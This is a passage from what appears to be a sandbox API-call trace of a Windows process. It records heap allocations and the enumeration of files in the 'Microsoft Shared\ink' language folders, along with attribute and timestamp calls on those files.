BaseAddress=0x9ed610) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0808 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dff68 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.532] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0828 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e0070 [0045.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0848 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e0178 [0045.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0868 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e0280 [0045.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0888 [0045.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e0388 [0045.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0045.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e08a8 [0045.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e0490 [0045.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0045.534] GetLastError () returned 0x12 [0045.534] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.534] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0045.535] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0045.535] GetLastError () returned 0x12 [0045.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.535] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.536] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0045.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0045.536] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e1218 [0045.536] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e1218, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e1218, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e1218) returned 1 [0045.536] NtClose (Handle=0x164) returned 0x0 [0045.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.537] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, 